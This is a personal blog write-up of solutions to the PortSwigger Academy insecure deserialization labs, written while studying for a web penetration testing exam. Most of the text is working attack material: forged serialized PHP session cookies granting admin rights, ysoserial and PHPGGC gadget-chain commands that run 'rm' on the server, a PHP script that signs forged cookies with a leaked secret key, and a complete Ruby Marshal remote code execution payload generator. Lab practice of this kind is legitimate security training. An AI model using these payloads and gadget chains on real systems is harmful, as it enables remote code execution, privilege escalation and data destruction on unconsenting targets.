PortSwigger Academy - Insecure Deserialization Labs
- Avraham Cohen
- Jul 19, 2021
- 2 min read
Updated: Oct 26, 2021
Studying for my eLearnSecurity eWPTX exam I decided to solve the Insecure Deserialization labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge. Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.
Here is a list of the labs from Apprentice to Practitioner level:
You can find the lab list at the following link
Research: Login as a regular user, decode the cookie using Base64, modify the isAdmin value from 0 to 1, re-submit the page, log in to the Admin Panel, and delete Carlos.

Payload: Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
Research: Login as a regular user, decode the cookie using Base64, modify the token value from string to binary 1, re-submit the page, log in to the Admin Panel, and delete Carlos.
Payload:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";b:1;}
Research: Login as a regular user, decode the cookie using Based64, modify the avatar_link to point to carlos home directory and update the string lenght.
Payload:
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"tavss6p730n9gyot4uiucla0guqlz5cn";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Research: Check the source code and find a reference to <!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->, check the source code by adding ~ to the end of the page source, login as a regular user, decode the cookie using Base64, modify the cookie to invoke the CustomTemplate object.
Payload:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Research: This is a great lab to practice the ysoserial package.
As the hint states, we need to generate the payload based on the ApacheCommons.
Google search results in https://github.com/frohoff/ysoserial and scrolling down I found the following:
java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
Payload: adjusting the payload urlencode `java -jar ysoserial CommonsCollections4 'rm /home/carlos/morale.txt' | base64`
Research: Find the HTML comment in the login page and navigate to
https://<Lab-Id>/cgi-bin/phpinfo.php
See the SECRET_TOKEN environment variable.
Decode the session cookie.
URL decode:{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJweG13bzRnbWd1cmY3cHVvbjhtb2FpcGJnOGc0dGtwcCI7fQ==","sig_hmac_sha1":"b254d794d61223916565d367ddd5a4c49712b80b"}
Base64 decode:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"pxmwo4gmgurf7puon8moaipbg8g4tkpp";}
Using PHPGGC Construct a simple payload by guessing the framework to trigger the following error:
Internal Server Error: Symfony Version: 4.3.6
PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7 Stack trace: #0 {main} thrown in /var/www/index.php on line 7
Payload: Adjust and sign the payload to use the Symfony framework.
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
Research: Google search results with https://www.elttam.com/blog/ruby-deserialization/
Adjust the payload from id to rm /home/carlos/morale.txt and encode the base64 results with URL encoding.
Payload:
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Comments